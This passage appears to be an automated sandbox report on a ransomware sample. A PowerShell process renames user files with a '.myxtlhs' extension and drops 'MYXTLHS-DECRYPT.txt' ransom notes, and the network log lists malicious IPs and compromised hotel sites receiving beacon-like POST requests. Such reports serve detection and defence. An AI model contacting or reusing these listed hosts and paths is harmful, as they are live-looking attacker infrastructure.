1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MMC\taskschd ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\HTML Help\hh.dat ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Excel\XLSTART\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\Built-In Building Blocks.dotx ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Document Building Blocks\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\e3f86d7936454598ef98443d4fd3260d_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\c43c9d3341c1ddc712bbe39db3c78fa5_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\a551dda6b1d5ee0d0c4637af6c004413_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs fli
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\1f91d2d17ea675d4c2c3192e241743f9_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\7be1242ebc44e45985bd1ffa382e997c_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1302019708-1500728564-335382590-1000\0f5007522459c86e95ffcc62f32308f1_90059c37-1320-41a4-b58d-2b75a9850d2f ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Credentials\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Identities\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Identities\{E4CE17A7-FC47-4CD1-8FF6-45436C8F45DB}\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\AddIns\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Media Center Programs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\queue.sqlite3 ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml.myxtlhs flc
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\filezilla.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\FileZilla\layout.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\LogTransport2.cfg ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Sonar\Sonar1.0\sonar_policy.xml ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_HeadlightsOptinProductFamily_HeadlightsOptinProduct_00000000-0000-0000-0000-000000000000_dc2ece58-8a8b-40bf-98c2-48039a3392bd.log ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_Reader_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_02f147fa-0489-4885-b993-ed9936fcacc0_0.rdy ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Linguistics\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\LogTransport2\Logs\ulog_AcroARM2_ARM2Update_2274f67c-7a7f-45e3-a23e-aa35d5b91e00_fea03e67-af51-4fcb-b57f-c238867edb9b_0.log ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\NativeCache\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Headlights\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Flash Player\AssetCache\J7D4H966\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Forms\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings ––
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp.myxtlhs binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\Collab\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp ––
1684 powershell.exe C:\$Recycle.Bin\S-1-5-21-1302019708-1500728564-335382590-1000\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\.oracle_jre_usage\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\MYXTLHS-DECRYPT.txt text
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5e8294.TMP binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms binary
1684 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9UVPOEWX0WIVQY1AXFJS.temp ––
3968 notepad++.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\Config\converter.ini text
3968 notepad++.exe C:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xml text
3968 notepad++.exe C:\Users\admin\AppData\Roaming\Notepad++\stylers.xml xml
3968 notepad++.exe C:\Users\admin\AppData\Roaming\Notepad++\langs.xml xml

Find more information of the staic content and download it at the full report

Network activity

HTTP(S) requests
51
TCP/UDP connections
87
DNS requests
42
Threats
18

HTTP requests

PID Process Method HTTP Code IP URL CN Type Size Reputation
–– –– GET 200 104.17.103.175:80 http://crl.usertrust.com/AddTrustExternalCARoot.crl US
der
whitelisted
–– –– GET 200 2.16.186.41:80 http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEAXk3DuUOKs7hZfLpqGYUOM%3D unknown
der
whitelisted
–– –– GET 200 2.16.186.24:80 http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEBPqKHBb9OztDDZjCYBhQzY%3D unknown
der
whitelisted
–– –– GET 200 104.17.103.175:80 http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl US
der
whitelisted
1684 powershell.exe GET 200 198.211.105.99:80 http://198.211.105.99/kasa US
text
malicious
1684 powershell.exe GET –– 78.46.77.98:80 http://www.2mmotorsport.biz/ DE
––
––
unknown
1684 powershell.exe GET 200 217.26.53.161:80 http://www.haargenau.biz/ CH
html
malicious
1684 powershell.exe POST 404 217.26.53.161:80 http://www.haargenau.biz/includes/pictures/kehethkafu.gif CH
text
html
malicious
1684 powershell.exe GET 200 74.220.215.73:80 http://www.bizziniinfissi.com/ US
html
malicious
1684 powershell.exe POST 404 74.220.215.73:80 http://www.bizziniinfissi.com/news/image/hekakehees.jpg US
text
html
malicious
1684 powershell.exe GET 200 136.243.13.215:80 http://www.holzbock.biz/ DE
html
malicious
1684 powershell.exe POST 510 136.243.13.215:80 http://www.holzbock.biz/news/pics/zuimamso.jpg DE
text
html
malicious
1684 powershell.exe GET 301 109.234.38.95:80 http://www.fliptray.biz/ RU
html
suspicious
1684 powershell.exe GET 302 192.185.159.253:80 http://www.pizcam.com/ US
––
––
unknown
1684 powershell.exe GET 301 83.138.82.107:80 http://www.swisswellness.com/ DE
––
––
unknown
1684 powershell.exe GET –– 212.59.186.61:80 http://www.hotelweisshorn.com/ CH
––
––
malicious
1684 powershell.exe POST 404 212.59.186.61:80 http://www.hotelweisshorn.com/static/images/kazuamse.png CH
text
html
malicious
1684 powershell.exe GET –– 83.166.138.7:80 http://www.whitepod.com/ CH
––
––
malicious
1684 powershell.exe POST 301 83.166.138.7:80 http://www.whitepod.com/news/pics/medakeames.png CH
text
––
––
malicious
1684 powershell.exe GET 301 69.16.175.10:80 http://www.hardrockhoteldavos.com/ US
html
malicious
1684 powershell.exe GET 301 104.24.23.22:80 http://www.belvedere-locarno.com/ US
––
––
unknown
1684 powershell.exe GET 301 80.244.187.247:80 http://www.hotelfarinet.com/ GB
––
––
unknown
1684 powershell.exe GET –– 217.26.53.37:80 http://www.hrk-ramoz.com/ CH
––
––
malicious
1684 powershell.exe POST 404 217.26.53.37:80 http://www.hrk-ramoz.com/includes/image/kethhe.png CH
text
xml
malicious
1684 powershell.exe GET 301 212.59.186.61:80 http://www.morcote-residenza.com/ CH
––
––
malicious
1684 powershell.exe GET 301 136.243.162.140:80 http://www.seitensprungzimmer24.com/ DE
html
unknown
1684 powershell.exe GET 200 205.185.216.42:80 http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab US
compressed
whitelisted
1684 powershell.exe GET 200 205.185.216.42:80 http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D1CC8D4F82A4.crt US
der
whitelisted
1684 powershell.exe GET 302 213.186.33.5:80 http://www.arbezie-hotel.com/ FR
html
malicious
1684 powershell.exe GET 404 213.186.33.50:80 http://www.arbezie.com/includes/graphic/dahees.bmp FR
html
unknown
1684 powershell.exe GET –– 217.26.55.5:80 http://www.aubergemontblanc.com/ CH
––
––
malicious
1684 powershell.exe POST –– 217.26.55.5:80 http://www.aubergemontblanc.com/wp-content/assets/memeimde.jpg CH
text
––
––
malicious
1684 powershell.exe GET 200 93.88.241.198:80 http://www.torhotel.com/ CH
html
malicious
1684 powershell.exe POST 404 93.88.241.198:80 http://www.torhotel.com/static/image/eszume.png CH
text
html
malicious
1684 powershell.exe GET 301 83.137.114.198:80 http://www.alpenlodge.com/ AT
––
––
unknown
1684 powershell.exe GET 301 79.170.40.230:80 http://www.aparthotelzurich.com/ GB
html
malicious
1684 powershell.exe GET 301 199.34.228.70:80 http://www.bnbdelacolline.com/ US
html
malicious
1684 powershell.exe GET 301 80.74.144.93:80 http://www.elite-hotel.com/ CH
html
unknown
1684 powershell.exe GET 302 213.186.33.17:80 http://www.bristol-adelboden.com/ FR
html
malicious
1684 powershell.exe GET 301 94.126.23.52:80 http://www.nationalzermatt.com/ CH
html
unknown
1684 powershell.exe GET –– 185.230.62.161:80 http://www.waageglarus.com/ unknown
––
––
malicious
1684 powershell.exe POST 403 185.230.62.161:80 http://www.waageglarus.com/news/assets/imheim.bmp unknown
text
html
malicious
1684 powershell.exe GET 200 192.185.85.119:80 http://www.limmathof.com/ US
html
malicious
1684 powershell.exe POST 404 192.185.85.119:80 http://www.limmathof.com/content/pictures/theska.bmp US
text
html
malicious
1684 powershell.exe GET 301 217.26.60.27:80 http://www.apartmenthaus.com/ CH
html
unknown
1684 powershell.exe GET 301 80.74.145.65:80 http://www.berginsel.com/ CH
––
––
unknown
1684 powershell.exe GET 301 52.215.91.247:80 http://www.chambre-d-hote-chez-fleury.com/ IE
––
––
malicious
1684 powershell.exe GET 301 52.215.91.247:80 http://www.hotel-blumental.com/ IE
––
––
malicious
1684 powershell.exe GET 302 31.13.92.36:80 http://www.facebook.com/ IE
––
––
whitelisted
1684 powershell.exe GET –– 173.212.202.129:80 http://www.la-fontaine.com/ DE
––
––
malicious
1684 powershell.exe POST –– 173.212.202.129:80 http://www.la-fontaine.com/data/imgs/hedeamth.jpg DE
text
––
––
malicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID Process IP ASN CN Reputation
3116 gup.exe 37.59.28.236:443 OVH SAS FR whitelisted
–– –– 2.16.186.41:80 Akamai International B.V. –– whitelisted
–– –– 104.17.103.175:80 Cloudflare Inc US shared
–– –– 2.16.186.24:80 Akamai International B.V. –– whitelisted
1684 powershell.exe 198.211.105.99:80 Digital Ocean, Inc. US malicious
1684 powershell.exe 78.46.77.98:80 Hetzner Online GmbH DE unknown
1684 powershell.exe 78.46.77.98:443 Hetzner Online GmbH DE unknown
1684 powershell.exe 217.26.53.161:80 Hostpoint AG CH malicious
1684 powershell.exe 74.220.215.73:80 Unified Layer US malicious
1684 powershell.exe 136.243.13.215:80 Hetzner Online GmbH DE suspicious
1684 powershell.exe 109.234.38.95:80 Webzilla B.V. RU unknown
1684 powershell.exe 109.234.38.95:443 Webzilla B.V. RU unknown
1684 powershell.exe 192.185.159.253:80 CyrusOne LLC US unknown
1684 powershell.exe 192.185.159.253:443 CyrusOne LLC US unknown
1684 powershell.exe 83.138.82.107:80 hostNET Medien GmbH DE unknown
1684 powershell.exe 83.138.82.107:443 hostNET Medien GmbH DE unknown
1684 powershell.exe 212.59.186.61:80 green.ch AG CH malicious
1684 powershell.exe 83.166.138.7:80 Infomaniak Network SA CH malicious
1684 powershell.exe 83.166.138.7:443 Infomaniak Network SA CH malicious
1684 powershell.exe 69.16.175.10:80 Highwinds Network Group, Inc. US suspicious
1684 powershell.exe 69.16.175.10:443 Highwinds Network Group, Inc. US suspicious
1684 powershell.exe 104.24.23.22:80 Cloudflare Inc US unknown
1684 powershell.exe 104.24.23.22:443 Cloudflare Inc US unknown
1684 powershell.exe 80.244.187.247:80 UKfastnet Ltd GB unknown
1684 powershell.exe 80.244.187.247:443 UKfastnet Ltd GB unknown
1684 powershell.exe 217.26.53.37:80 Hostpoint AG CH suspicious
1684 powershell.exe 212.59.186.61:443 green.ch AG CH malicious
1684 powershell.exe 136.243.162.140:80 Hetzner Online GmbH DE unknown
1684 powershell.exe 136.243.162.140:443 Hetzner Online GmbH DE unknown
1684 powershell.exe 205.185.216.42:80 Highwinds Network Group, Inc. US whitelisted
1684 powershell.exe 213.186.33.5:80 OVH SAS FR malicious
1684 powershell.exe 213.186.33.5:443 OVH SAS FR malicious
1684 powershell.exe 213.186.33.50:80 OVH SAS FR unknown
1684 powershell.exe 217.26.55.5:80 Hostpoint AG CH suspicious
1684 powershell.exe 93.88.241.198:80 Infomaniak Network SA CH malicious
1684 powershell.exe 83.137.114.198:80 Nessus GmbH AT unknown
1684 powershell.exe 83.137.114.198:443 Nessus GmbH AT unknown
1684 powershell.exe 79.170.40.230:80 Host Europe GmbH GB suspicious
1684 powershell.exe 79.170.40.230:443 Host Europe GmbH GB suspicious
1684 powershell.exe 199.34.228.70:80 Weebly, Inc. US malicious
1684 powershell.exe 199.34.228.70:443 Weebly, Inc. US malicious
1684 powershell.exe 80.74.144.93:80 METANET AG CH unknown